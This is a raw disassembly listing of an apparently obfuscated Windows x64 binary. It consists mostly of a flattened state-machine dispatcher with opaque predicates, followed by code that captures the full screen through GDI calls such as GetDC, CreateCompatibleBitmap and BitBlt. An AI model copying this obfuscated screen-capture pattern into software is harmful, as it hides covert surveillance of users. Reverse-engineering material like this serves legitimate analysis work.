jg 0x14050e14f
cmp esi, 0x96bfffc
jle 0x14050e3b6
cmp esi, 0xe7ef057
jle 0x14050e6fa
mov ecx, eax
cmp esi, 0xe7ef058
je 0x14050dd90
mov ecx, dword [rbp + 0x1dc]
cmp esi, 0x11825857
je 0x14050dd90
mov ecx, esi
cmp esi, 0x11a435f8
jne 0x14050dd90
mov ecx, 0x499fa256
jmp 0x14050dd90
cmp esi, 0xe7809c39
jg 0x14050e04b
cmp esi, 0xd033cd79
jg 0x14050e19d
cmp esi, 0xbdc64e87
jle 0x14050e3e7
cmp esi, 0xc79ad12e
jle 0x14050e729
cmp esi, 0xc79ad12f
je 0x14050ec8e
mov ecx, dword [rbp + 0x170]
cmp esi, 0xca8a3dae
je 0x14050dd90
mov ecx, esi
cmp esi, 0xcd6a80a5
jne 0x14050dd90
mov ecx, 0xca8a3dae
jmp 0x14050dd90
cmp esi, 0x5d29121f
jg 0x14050e0a0
cmp esi, 0x4a0180ff
jg 0x14050e1e6
cmp esi, 0x464e4f06
jle 0x14050e417
cmp esi, 0x48c9fc5e
jle 0x14050e74d
cmp esi, 0x48c9fc5f
je 0x14050ec98
mov ecx, dword [rbp + 0x2c0]
cmp esi, 0x495c313e
je 0x14050dd90
mov ecx, esi
cmp esi, 0x499fa256
jne 0x14050dd90
cmp r9b, 0x64
setae byte [rbp + 0x310]
mov ecx, dword [rbp + 0x1fc]
jmp 0x14050dd90
cmp esi, 0xb1828315
jg 0x14050e23a
cmp esi, 0xaebd2ec9
jle 0x14050e448
cmp esi, 0xb05c452e
jle 0x14050e777
mov ecx, edx
cmp esi, 0xb05c452f
je 0x14050dd90
cmp esi, 0xb0beb3e4
je 0x14050ecb8
mov ecx, esi
cmp esi, 0xb15b1a2e
jne 0x14050dd90
cmp byte [rbp + 0x325], 0
mov ecx, 0x2798cef7
mov esi, 0xf301ab8e
cmovne ecx, esi
jmp 0x14050dd90
cmp esi, 0x2d4b429c
jg 0x14050e282
cmp esi, 0x267d1723
jle 0x14050e478
cmp esi, 0x297f9035
jle 0x14050e79c
cmp esi, 0x297f9036
je 0x14050ecda
cmp esi, 0x2ad23082
je 0x14050ece4
mov ecx, esi
cmp esi, 0x2cda350e
jne 0x14050dd90
mov ecx, 0x3577c1f2
jmp 0x14050dd90
cmp esi, 0xef53f9e5
jg 0x14050e2df
cmp esi, 0xe9dbd22d
jle 0x14050e4b3
cmp esi, 0xead3e303
jle 0x14050e7c1
cmp esi, 0xead3e304
je 0x14050dd7c
cmp esi, 0xeaeb4fd4
je 0x14050ecfc
mov ecx, esi
cmp esi, 0xece27445
jne 0x14050dd90
mov ecx, dword [rbp + 0x230]
jmp 0x14050dd90
cmp esi, 0x751c860d
jg 0x14050e330
cmp esi, 0x6c56cc28
jle 0x14050e4e4
cmp esi, 0x709a45ba
jle 0x14050e7ec
cmp esi, 0x709a45bb
je 0x14050ed0d
cmp esi, 0x70a3a0c7
je 0x14050ed22
mov ecx, esi
cmp esi, 0x7344cfcc
jne 0x14050dd90
cmp byte [rbp + 0x280], 0
mov ecx, 0xff0c2dff
mov edi, 0x22128fff
jmp 0x14050ee44
cmp esi, 0x8d845307
jle 0x14050e515
cmp esi, 0x95314844
jle 0x14050e811
cmp esi, 0x95314845
je 0x14050ed37
mov ecx, dword [rbp + 0x2e4]
cmp esi, 0x969205f1
je 0x14050dd90
mov ecx, esi
cmp esi, 0x99deb36c
jne 0x14050dd90
mov ecx, dword [rbp + 0x220]
jmp 0x14050dd90
cmp esi, 0x15767052
jle 0x14050e551
cmp esi, 0x1a7bb6b2
jle 0x14050e838
cmp esi, 0x1a7bb6b3
je 0x14050ed41
cmp esi, 0x1cdf725d
je 0x14050ed5a
mov ecx, esi
cmp esi, 0x1faaa5f6
jne 0x14050dd90
mov ecx, dword [rbp + 0x328]
mov ecx, 0xd38d4b5c
jmp 0x14050dd90
cmp esi, 0xd5b57953
jle 0x14050e596
cmp esi, 0xdd06646f
jle 0x14050e862
cmp esi, 0xdd066470
je 0x14050ed64
cmp esi, 0xde8a5085
je 0x14050ed76
mov ecx, esi
cmp esi, 0xe335676c
jne 0x14050dd90
mov ecx, dword [rbp + 0x1f8]
jmp 0x14050dd90
cmp esi, 0x57b3b52f
jle 0x14050e5d1
cmp esi, 0x5a36ce4e
jle 0x14050e899
cmp esi, 0x5a36ce4f
je 0x14050ed92
cmp esi, 0x5a414769
je 0x14050edab
mov ecx, esi
cmp esi, 0x5a530a53
jne 0x14050dd90
cmp byte [rbp + 0x31f], 0
mov ecx, 0x576b74ae
mov esi, 0xd1dca56c
jmp 0x14050ea5d
cmp esi, 0xb4b17504
jle 0x14050e607
cmp esi, 0xb6fd862c
jle 0x14050e8be
cmp esi, 0xb6fd862d
je 0x14050edb5
cmp esi, 0xb7ee4958
je 0x14050edbf
mov ecx, esi
cmp esi, 0xb94ead36
jne 0x14050dd90
mov ecx, 0x20103661
jmp 0x14050dd90
cmp esi, 0x34249237
jle 0x14050e638
cmp esi, 0x3577c1f1
jle 0x14050e8ef
cmp esi, 0x3577c1f2
je 0x14050edd6
mov ecx, dword [rbp + 0x2bc]
cmp esi, 0x39498194
je 0x14050dd90
mov ecx, esi
cmp esi, 0x39b2a750
jne 0x14050dd90
cmp byte [rbp + 0x323], 0
mov ecx, 0xef53f9e6
mov esi, 0xb18758be
cmovne ecx, esi
jmp 0x14050dd90
cmp esi, 0xf3c53d86
jle 0x14050e66e
cmp esi, 0xfb7d2617
jle 0x14050e914
cmp esi, 0xfb7d2618
je 0x14050edef
mov ecx, dword [rbp + 0x1a0]
cmp esi, 0xfc0f9c55
je 0x14050dd90
mov ecx, esi
cmp esi, 0xfe617dad
jne 0x14050dd90
xor r8d, r8d
mov ecx, 0x9ef63166
jmp 0x14050dd90
cmp esi, 0x789407d3
jle 0x14050e69e
cmp esi, 0x78eecf41
jle 0x14050e93f
cmp esi, 0x78eecf42
je 0x14050edf9
cmp esi, 0x7a184854
je 0x14050dd7c
mov ecx, esi
cmp esi, 0x7b64d6ea
jne 0x14050dd90
mov ecx, dword [rbp + 0x214]
jmp 0x14050dd90
cmp esi, 0x9d594587
jle 0x14050e964
cmp esi, 0x9d594588
je 0x14050ee15
mov ecx, dword [rbp + 0x120]
cmp esi, 0x9ef1d789
je 0x14050dd90
mov ecx, esi
cmp esi, 0x9ef63166
je 0x140511593
jmp 0x14050dd90
cmp esi, 0x30c0ef1
jg 0x14050e98e
cmp esi, 0xff0c2dff
je 0x14050ee26
mov ecx, esi
cmp esi, 0x90eefd
jne 0x14050dd90
mov ecx, dword [rbp + 0x148]
jmp 0x14050dd90
cmp esi, 0xbd39f16d
jg 0x14050e9cc
cmp esi, 0xb98bcaee
je 0x14050ee33
mov ecx, esi
cmp esi, 0xba345fbc
jne 0x14050dd90
mov ecx, 0x11825857
jmp 0x14050dd90
cmp esi, 0x418cdd33
jg 0x14050ea02
cmp esi, 0x3f2f8547
je 0x14050ee4f
mov ecx, esi
cmp esi, 0x3ff59037
jne 0x14050dd90
mov ecx, dword [rbp + 0x228]
jmp 0x14050dd90
cmp esi, 0xac78743a
jg 0x14050ea32
cmp esi, 0xa82ebe37
je 0x14050ee59
mov ecx, esi
cmp esi, 0xabe3e034
jne 0x14050dd90
mov ecx, 0xd3059b6f
jmp 0x14050dd90
cmp esi, 0x23a18587
jg 0x14050ea67
cmp esi, 0x20103661
je 0x14050ee6f
mov ecx, esi
cmp esi, 0x22128fff
jne 0x14050dd90
cmp r11d, 0x5a
setge byte [rbp + 0x278]
mov ecx, 0x135fcc3b
jmp 0x14050dd90
cmp esi, 0xe83f3e86
jg 0x14050ea8b
cmp esi, 0xe7809c3a
je 0x14050ee81
mov ecx, esi
cmp esi, 0xe7d3c6de
jne 0x14050dd90
mov ecx, dword [rbp + 0x140]
jmp 0x14050dd90
cmp esi, 0x5f31b9d3
jg 0x14050eac8
cmp esi, 0x5d291220
je 0x14050ee8e
mov ecx, esi
cmp esi, 0x5d8c7d4f
jne 0x14050dd90
mov ecx, dword [rbp + 0x13c]
jmp 0x14050dd90
cmp esi, 0x895fd78a
jg 0x14050eaec
cmp esi, 0x8402cefa
je 0x14050eeba
mov ecx, esi
cmp esi, 0x86220d5d
jne 0x14050dd90
cmp byte [rbp + 0x268], 0
mov ecx, 0xe7809c3a
mov esi, 0xd5b57954
jmp 0x14050ee0a
cmp esi, 0x14395eed
jg 0x14050eb1e
mov ecx, dword [rbp + 0x150]
cmp esi, 0x135fcc3b
je 0x14050dd90
mov ecx, esi
cmp esi, 0x140605b2
jne 0x14050dd90
cmp byte [rbp + 0x288], 0
mov ecx, 0x6ceae5d9
mov esi, 0x5f31b9d4
cmovne ecx, esi
jmp 0x14050dd90
cmp esi, 0xd3059b6e
jg 0x14050eb5f
cmp esi, 0xd033cd7a
je 0x14050eed1
mov ecx, esi
cmp esi, 0xd1dca56c
jne 0x14050dd90
cmp r11d, 0x32
setge byte [rbp + 0x31e]
mov ecx, 0xae960d74
jmp 0x14050dd90
cmp esi, 0x51bb9d1e
jg 0x14050eb94
mov ecx, dword [rbp + 0x160]
cmp esi, 0x4a018100
je 0x14050dd90
mov ecx, esi
cmp esi, 0x4b6a20f7
jne 0x14050dd90
mov ecx, 0x969205f1
jmp 0x14050dd90
cmp esi, 0xb1c5674d
jg 0x14050ebbb
cmp esi, 0xb1828316
je 0x14050eee2
mov ecx, esi
cmp esi, 0xb18758be
jne 0x14050dd90
mov ecx, dword [rbp + 0x138]
jmp 0x14050dd90
cmp esi, 0x2f9cfbc0
jg 0x14050ebea
mov ecx, dword [rbp + 0x188]
cmp esi, 0x2d4b429d
je 0x14050dd90
mov ecx, esi
cmp esi, 0x2e501a5b
jne 0x14050dd90
mov ecx, 0x99deb36c
jmp 0x14050dd90
cmp esi, 0xf301ab8d
jg 0x14050ec26
cmp esi, 0xef53f9e6
je 0x14050eeec
mov ecx, esi
cmp esi, 0xf18c4a6a
jne 0x14050dd90
mov ecx, 0x7b64d6ea
jmp 0x14050dd90
cmp esi, 0x76851f02
jg 0x14050ec52
cmp esi, 0x751c860e
je 0x14050ef03
mov ecx, esi
cmp esi, 0x763ef902
jne 0x14050dd90
movzx r15d, byte [rbp + 0x2e8]
mov ecx, 0xe7809c3a
jmp 0x14050dd90
cmp esi, 0xa0d53e64
je 0x14050ef21
mov ecx, esi
cmp esi, 0xa3988b66
jne 0x14050dd90
mov ecx, 0x31f6e81
jmp 0x14050dd90
cmp esi, 0x96bfffd
je 0x14050ef4d
mov ecx, esi
cmp esi, 0xad1060d
jne 0x14050dd90
cmp r14b, 0x78
setae byte [rbp + 0x323]
mov ecx, 0x39b2a750
jmp 0x14050dd90
cmp esi, 0xbdc64e88
je 0x14050ef57
mov ecx, esi
cmp esi, 0xc560a85d
jne 0x14050dd90
mov ecx, 0x77da8017
jmp 0x14050dd90
mov ecx, dword [rbp + 0x168]
cmp esi, 0x464e4f07
je 0x14050dd90
mov ecx, esi
cmp esi, 0x482aa3f8
jne 0x14050dd90
mov ecx, 0x495c313e
jmp 0x14050dd90
cmp esi, 0xaebd2eca
je 0x14050ef6c
mov ecx, esi
cmp esi, 0xb02114d0
jne 0x14050dd90
mov ecx, dword [rbp + 0x208]
jmp 0x14050dd90
cmp esi, 0x267d1724
je 0x14050ef76
mov ecx, esi
cmp esi, 0x2798cef7
jne 0x14050dd90
mov ecx, dword [rbp + 0x23c]
jmp 0x14050dd90
cmp esi, 0xe9dbd22e
je 0x14050ef80
mov ecx, esi
cmp esi, 0xead08fc7
jne 0x14050dd90
mov byte [rbp + 0x2c8], 0
mov ecx, 0x1a7bb6b3
jmp 0x14050dd90
cmp esi, 0x6c56cc29
je 0x14050efa0
mov ecx, esi
cmp esi, 0x6ceae5d9
jne 0x14050dd90
mov ecx, dword [rbp + 0x210]
jmp 0x14050dd90
cmp esi, 0x8d845308
je 0x14050dd7c
mov ecx, esi
cmp esi, 0x901b12e1
jne 0x14050dd90
mov r8d, r12d
mov ecx, 0x9ef63166
jmp 0x14050dd90
cmp esi, 0x15767053
je 0x14050efaa
mov ecx, esi
cmp esi, 0x157c9d26
jne 0x14050dd90
mov ecx, dword [rbp + 0x350]
mov ecx, 0x31a09e96
jmp 0x14050dd90
mov ecx, dword [rbp + 0x190]
cmp esi, 0xd5b57954
je 0x14050dd90
mov ecx, esi
cmp esi, 0xdaf8f24e
jne 0x14050dd90
movzx ecx, byte [rbp + 0x2f4]
mov dword [rbp + 0x2f8], ecx
mov ecx, 0xd033cd7a
jmp 0x14050dd90
cmp esi, 0x57b3b530
je 0x14050efb4
mov ecx, esi
cmp esi, 0x5a11b6dc
jne 0x14050dd90
mov ecx, dword [rbp + 0x200]
jmp 0x14050dd90
cmp esi, 0xb4b17505
je 0x14050efbe
mov ecx, esi
cmp esi, 0xb5fe692d
jne 0x14050dd90
movzx ecx, byte [rbp + 0x304]
mov dword [rbp + 0x2dc], ecx
mov ecx, 0xeaeb4fd4
jmp 0x14050dd90
cmp esi, 0x34249238
je 0x14050efc8
mov ecx, esi
cmp esi, 0x354076fb
jne 0x14050dd90
mov ecx, dword [rbp + 0x22c]
jmp 0x14050dd90
mov ecx, dword [rbp + 0x1a8]
cmp esi, 0xf3c53d87
je 0x14050dd90
mov ecx, esi
cmp esi, 0xf5fb2c3f
jne 0x14050dd90
mov ecx, dword [rbp + 0x218]
jmp 0x14050dd90
cmp esi, 0x789407d4
je 0x14050dd7c
mov ecx, esi
cmp esi, 0x78d88bfd
jne 0x14050dd90
mov ecx, dword [rbp + 0x244]
jmp 0x14050dd90
cmp esi, 0x9a36c245
je 0x14050efe1
mov ecx, esi
cmp esi, 0x9c02b47a
jne 0x14050dd90
mov ecx, dword [rbp + 0x330]
mov ecx, 0xb0beb3e4
jmp 0x14050dd90
cmp esi, 0x30c0ef2
je 0x14050eff9
mov ecx, esi
cmp esi, 0x31f6e81
jne 0x14050dd90
cmp dword [rbp + 0x264], 0x3c
setge byte [rbp + 0x31d]
cmp r13b, 0x6e
setae byte [rbp + 0x34e]
mov ecx, dword [rbp + 0x240]
jmp 0x14050dd90
mov ecx, dword [rbp + 0x2c4]
cmp esi, 0xbd39f16e
je 0x14050dd90
mov ecx, esi
cmp esi, 0xbd5e8e9d
jne 0x14050dd90
cmp byte [rbp + 0x278], 0
mov ecx, 0xff0c2dff
mov edi, 0x8402cefa
jmp 0x14050ee44
cmp esi, 0x418cdd34
je 0x14050f00a
mov ecx, esi
cmp esi, 0x42040c67
jne 0x14050dd90
cmp byte [rbp + 0x321], 0
mov ecx, 0x901b12e1
mov esi, 0xb37bdaf0
jmp 0x14050ed87
cmp esi, 0xac78743b
je 0x14050f020
mov ecx, esi
cmp esi, 0xae960d74
jne 0x14050dd90
cmp byte [rbp + 0x31e], 0
mov ecx, 0x576b74ae
mov esi, 0x78d88bfd
cmovne ecx, esi
xor ebx, ebx
jmp 0x14050dd90
cmp esi, 0x23a18588
je 0x14050f035
mov ecx, esi
cmp esi, 0x23d604a4
jne 0x14050dd90
mov ecx, 0x76851f03
jmp 0x14050dd90
cmp esi, 0xe83f3e87
je 0x14050f04e
mov ecx, esi
cmp esi, 0xe8a60b10
jne 0x14050dd90
cmp byte [rbp + 0x300], 0
mov ecx, 0xeaeb4fd4
mov esi, 0xbdc64e88
cmovne ecx, esi
mov dword [rbp + 0x2dc], 0
jmp 0x14050dd90
cmp esi, 0x5f31b9d4
je 0x14050f07d
mov ecx, esi
cmp esi, 0x680ab117
jne 0x14050dd90
mov ecx, 0x89b66e65
jmp 0x14050dd90
mov ecx, dword [rbp + 0x158]
cmp esi, 0x895fd78b
je 0x14050dd90
mov ecx, esi
cmp esi, 0x89b66e65
jne 0x14050dd90
mov byte [rbp + 0x325], 1
mov ecx, dword [rbp + 0x144]
jmp 0x14050dd90
cmp esi, 0x14395eee
je 0x14050f095
mov ecx, esi
cmp esi, 0x145d0d1b
jne 0x14050dd90
movzx ecx, byte [rbp + 0x2d8]
cmp byte [rbp + 0x2b0], 0
mov esi, 0x3ff59037
mov edi, 0x14395eee
cmovne esi, edi
test cl, cl
mov ecx, 0x3ff59037
jmp 0x14050ef43
cmp esi, 0xd3059b6f
je 0x14050f0ac
mov ecx, esi
cmp esi, 0xd38d4b5c
jne 0x14050dd90
mov ecx, dword [rbp + 0x328]
cmp ecx, 9
setl byte [rbp + 0x322]
mov ecx, dword [rbp + 0x24c]
jmp 0x14050dd90
cmp esi, 0x51bb9d1f
je 0x14050f0be
mov ecx, esi
cmp esi, 0x576b74ae
jne 0x14050dd90
mov r8d, ebx
mov ecx, 0x9ef63166
jmp 0x14050dd90
cmp esi, 0xb1c5674e
je 0x14050f0d4
mov ecx, esi
cmp esi, 0xb37bdaf0
jne 0x14050dd90
cmp r9b, 0x69
setae byte [rbp + 0x320]
mov ecx, 0xf33880b0
jmp 0x14050dd90
cmp esi, 0x2f9cfbc1
je 0x14050f0de
mov ecx, esi
cmp esi, 0x31a09e96
jne 0x14050dd90
mov ecx, dword [rbp + 0x350]
mov esi, ecx
neg esi
cmovl esi, ecx
cmp esi, 0xe
setb byte [rbp + 0x31f]
mov ecx, dword [rbp + 0x248]
jmp 0x14050dd90
cmp esi, 0xf301ab8e
je 0x14050f0f3
mov ecx, esi
cmp esi, 0xf33880b0
jne 0x14050dd90
movzx r12d, byte [rbp + 0x320]
mov ecx, 0x901b12e1
jmp 0x14050dd90
cmp esi, 0x76851f03
je 0x14050f108
mov ecx, esi
cmp esi, 0x77da8017
jne 0x14050dd90
mov ecx, dword [rbp + 0x14c]
jmp 0x14050dd90
movzx ecx, byte [rbp + 0x1f0]
mov byte [rbp + 0x321], cl
mov ecx, 0x42040c67
jmp 0x14050dd90
mov ecx, 0xb6fd862d
jmp 0x14050dd90
cmp r13b, 0xf1
setae byte [rbp + 0x2d8]
cmp r13b, 0xff
setne byte [rbp + 0x2b0]
mov ecx, 0x145d0d1b
jmp 0x14050dd90
mov ecx, dword [rbp + 0x330]
mov esi, ecx
neg esi
cmovl esi, ecx
cmp esi, 0xe
setb byte [rbp + 0x280]
mov ecx, dword [rbp + 0x204]
jmp 0x14050dd90
mov ecx, 0xb02114d0
jmp 0x14050dd90
mov rcx, qword [rbp + 0x128]
mov dword [rbp + 0x330], ecx
mov ecx, dword [rbp + 0x20c]
jmp 0x14050dd90
mov r8d, dword [rbp + 0x2dc]
mov ecx, 0x9ef63166
jmp 0x14050dd90
cmp r14b, 0xbe
setae byte [rbp + 0x180]
mov ecx, 0x34249238
jmp 0x14050dd90
cmp r9b, 0x64
setae byte [rbp + 0x34d]
mov ecx, 0x30c0ef2
jmp 0x14050dd90
mov ecx, 0x51bb9d1f
jmp 0x14050dd90
cmp byte [rbp + 0x2c8], 0
mov ecx, 0xe335676c
mov esi, 0x709a45bb
cmovne ecx, esi
jmp 0x14050dd90
mov ecx, 0x354076fb
jmp 0x14050dd90
mov byte [rbp + 0x2b4], 0
mov ecx, dword [rbp + 0x234]
jmp 0x14050dd90
cmp byte [rbp + 0x322], 0
mov ecx, 0x901b12e1
mov esi, 0x9d594588
cmovne ecx, esi
xor r12d, r12d
jmp 0x14050dd90
cmp byte [rbp + 0x2b4], 0
mov ecx, 0xead08fc7
mov esi, 0x48c9fc5f
cmovne ecx, esi
jmp 0x14050dd90
mov ecx, 0xfc0f9c55
jmp 0x14050dd90
mov ecx, 0x90eefd
jmp 0x14050dd90
mov ecx, dword [rbp + 0x1f4]
mov dword [rbp + 0x328], ecx
mov ecx, dword [rbp + 0x134]
jmp 0x14050dd90
cmp byte [rbp + 0x34f], 0
mov ecx, 0x895fd78b
mov esi, 0xe9dbd22e
cmovne ecx, esi
jmp 0x14050dd90
mov ecx, 0xbd39f16e
jmp 0x14050dd90
cmp byte [rbp + 0x2d0], 0
mov ecx, 0xe7809c3a
mov esi, 0xa82ebe37
cmovne ecx, esi
xor r15d, r15d
jmp 0x14050dd90
mov dword [rbp + 0x340], r11d
mov ecx, 0x751c860e
jmp 0x14050dd90
mov r8d, r10d
mov ecx, 0x9ef63166
jmp 0x14050dd90
cmp byte [rbp + 0x308], 0
mov ecx, 0xff0c2dff
mov edi, 0x5a11b6dc
cmovne ecx, edi
xor r10d, r10d
jmp 0x14050dd90
mov ecx, 0xb05c452f
jmp 0x14050dd90
mov ecx, dword [rbp + 0x264]
mov dword [rbp + 0x358], ecx
mov ecx, 0x5d291220
jmp 0x14050dd90
movzx r10d, byte [rbp + 0x310]
mov ecx, 0xff0c2dff
jmp 0x14050dd90
mov r8d, r15d
mov ecx, 0x9ef63166
jmp 0x14050dd90
cmp r13b, 0x69
mov ecx, dword [rbp + 0x358]
mov esi, 0xe7809c3a
mov edi, 0x2f9cfbc1
cmovae esi, edi
cmp ecx, 0x32
mov ecx, 0xe7809c3a
cmovl esi, ecx
xor r15d, r15d
mov ecx, esi
jmp 0x14050dd90
movzx ecx, byte [rbp + 0x1e0]
mov byte [rbp + 0x308], cl
mov ecx, 0x39498194
jmp 0x14050dd90
mov r8d, dword [rbp + 0x2f8]
mov ecx, 0x9ef63166
jmp 0x14050dd90
mov ecx, 0x2d4b429d
jmp 0x14050dd90
mov rcx, qword [rbp + 0x128]
mov dword [rbp + 0x350], ecx
mov ecx, 0x4a018100
jmp 0x14050dd90
mov ecx, dword [rbp + 0x340]
cmp ecx, 0x3c
mov ecx, 0x901b12e1
mov esi, 0xa4c5bbcd
cmovge ecx, esi
xor r12d, r12d
jmp 0x14050dd90
movzx ecx, byte [rbp + 0x34c]
cmp byte [rbp + 0x34b], 0
mov esi, 0xead3e304
mov edi, 0x9a36c245
cmovne esi, edi
test cl, cl
mov ecx, 0xead3e304
cmove esi, ecx
mov ecx, esi
jmp 0x14050dd90
mov ecx, 0xe7ef058
jmp 0x14050dd90
cmp r9b, 0x4f
setb byte [rbp + 0x304]
mov ecx, 0xece27445
jmp 0x14050dd90
mov ecx, 0xdd066470
jmp 0x14050dd90
mov ecx, 0xb7ee4958
jmp 0x14050dd90
cmp r13b, 0xdd
setae byte [rbp + 0x34c]
cmp r13b, 0xff
setne byte [rbp + 0x34b]
mov ecx, 0xa0d53e64
jmp 0x14050dd90
mov ecx, 0x464e4f07
jmp 0x14050dd90
mov ecx, 0x2ad23082
jmp 0x14050dd90
mov ecx, 0x5d8c7d4f
jmp 0x14050dd90
mov ecx, 0x418cdd34
jmp 0x14050dd90
cmp byte [rbp + 0x180], 0
mov ecx, 0xa61e6778
mov esi, 0xf3c53d87
cmovne ecx, esi
jmp 0x14050dd90
cmp dword [rbp + 0x1ec], 0x1d
setb byte [rbp + 0x2b8]
mov ecx, 0xe83f3e87
jmp 0x14050dd90
movzx ebx, byte [rbp + 0x34d]
mov ecx, 0x576b74ae
jmp 0x14050dd90
cmp r11d, 0x5a
setge byte [rbp + 0x2d0]
mov ecx, dword [rbp + 0x21c]
jmp 0x14050dd90
cmp r9b, 0x5a
setb byte [rbp + 0x2f4]
mov ecx, 0xdaf8f24e
jmp 0x14050dd90
cmp byte [rbp + 0x324], 0
mov ecx, 0xad1060d
mov esi, 0xfe617dad
cmovne ecx, esi
jmp 0x14050dd90
cmp r9b, 0x3d
mov ecx, 0xd033cd7a
mov esi, 0xac78743b
cmovae ecx, esi
cmp byte [rbp + 0x2b8], 0
mov esi, 0xd033cd7a
cmove ecx, esi
mov dword [rbp + 0x2f8], 0
jmp 0x14050dd90
cmp dword [rbp + 0x1e4], 9
setb byte [rbp + 0x268]
mov ecx, 0x86220d5d
jmp 0x14050dd90
movzx ecx, byte [rbp + 0x1e8]
mov byte [rbp + 0x300], cl
mov ecx, 0xe8a60b10
jmp 0x14050dd90
mov byte [rbp + 0x34f], 0
mov ecx, dword [rbp + 0x238]
jmp 0x14050dd90
cmp r14b, 0x78
setae byte [rbp + 0x288]
mov ecx, dword [rbp + 0x224]
jmp 0x14050dd90
mov ecx, 0x9ef1d789
jmp 0x14050dd90
cmp r9b, 0x69
setae byte [rbp + 0x2e8]
mov ecx, 0xf5fb2c3f
jmp 0x14050dd90
cmp r14b, 0xbe
setae byte [rbp + 0x324]
mov ecx, 0xe7d3c6de
jmp 0x14050dd90
movzx ecx, byte [rbp + 0x31d]
cmp byte [rbp + 0x34e], 0
mov esi, 0x576b74ae
mov edi, 0x70a3a0c7
cmovne esi, edi
test cl, cl
mov ecx, 0x576b74ae
cmove esi, ecx
xor ebx, ebx
mov ecx, esi
jmp 0x14050dd90
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov al, byte [rax]
mov byte [rbp + 0x1c6], al
mov eax, 0x26dac028
jmp 0x140501b1d
mov r14, rsp
mov eax, edi
shr eax, 0x1f
add eax, edi
sar eax, 1
mov ecx, esi
shr ecx, 0x1f
add ecx, esi
sar ecx, 1
mov dword [rdx], ecx
mov dword [rdx + 4], eax
movabs rax, 0x1400000014
mov qword [rdx + 8], rax
mov r15, qword [rbp + 0x58]
mov eax, dword [0x140b86d50]
mov ecx, dword [0x140b86d54]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x288]
cmp ecx, 0xa
setl byte [rbp + 0x268]
mov eax, 0x4500f030
jmp 0x14050f1d6
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc4752761
mov ecx, 0x593cb922
cmove eax, ecx
cmp dword [0x140b86d54], 0xa
cmovl eax, ecx
cmp eax, 0x1c1c4e6f
jle 0x14050f230
cmp eax, 0x4500f02f
jle 0x14050f260
cmp eax, 0x4500f030
je 0x14050f34e
cmp eax, 0x593cb922
jne 0x14050f3c1
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x350], rax
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc4752761
mov ecx, 0xb1487cd5
jmp 0x14050f1c9
cmp eax, 0xf1341a8f
jg 0x14050f280
cmp eax, 0xb1487cd5
je 0x14050f373
cmp eax, 0xc4752761
jne 0x14050f1d6
mov rax, qword [rbp + 0x340]
mov eax, 0x593cb922
jmp 0x14050f1d6
cmp eax, 0x1c1c4e70
je 0x14050f1b0
cmp eax, 0x2735bb15
jne 0x14050f1d6
mov eax, 0x1c1c4e70
jmp 0x14050f1d6
cmp eax, 0xf1341a90
je 0x14050f37d
cmp eax, 0xfbf04023
jne 0x14050f1d6
mov eax, Ordinal_50
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x308], rax
mov eax, dword [r15 + 8]
mov dword [rbp + 0x2d0], eax
mov eax, dword [r15 + 0xc]
mov dword [rbp + 0x2e8], eax
mov eax, dword [r15]
mov dword [rbp + 0x280], eax
mov eax, dword [r15 + 4]
mov dword [rbp + 0x278], eax
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov qword [rbp + 0x310], rax
mov rcx, qword [rbp + 0x310]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov qword [rbp + 0x328], rax
mov edx, dword [rbp + 0x2d0]
mov r8d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x310]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov qword [rbp + 0x340], rax
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf1341a90
mov ecx, 0x2735bb15
jmp 0x14050f1c9
movzx ecx, byte [rbp + 0x288]
cmp byte [rbp + 0x268], 0
mov eax, 0xf1341a90
mov edx, 0xfbf04023
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14050f1d6
mov eax, 0x7eab2577
jmp 0x14050f1d6
mov esi, dword [r15 + 8]
mov edi, dword [r15 + 0xc]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rcx, rbx
mov edx, esi
mov r8d, edi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov eax, 0xfbf04023
jmp 0x14050f1d6
cmp eax, 0x7eab2577
jne 0x14050f1d6
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x350]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov rdi, rax
mov r9d, dword [rbp + 0x2d0]
mov eax, dword [rbp + 0x2e8]
mov edx, dword [rbp + 0x280]
mov ebx, dword [rbp + 0x278]
mov rsi, qword [rbp + 0x310]
mov rcx, qword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x308]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x308]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x308]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x308]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x308]
mov ecx, dword [rbp + 0x2d0]
mov dword [rax + 4], ecx
xor eax, eax
sub eax, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x308]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x308]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x308]
mov dword [rax + 0x14], 0
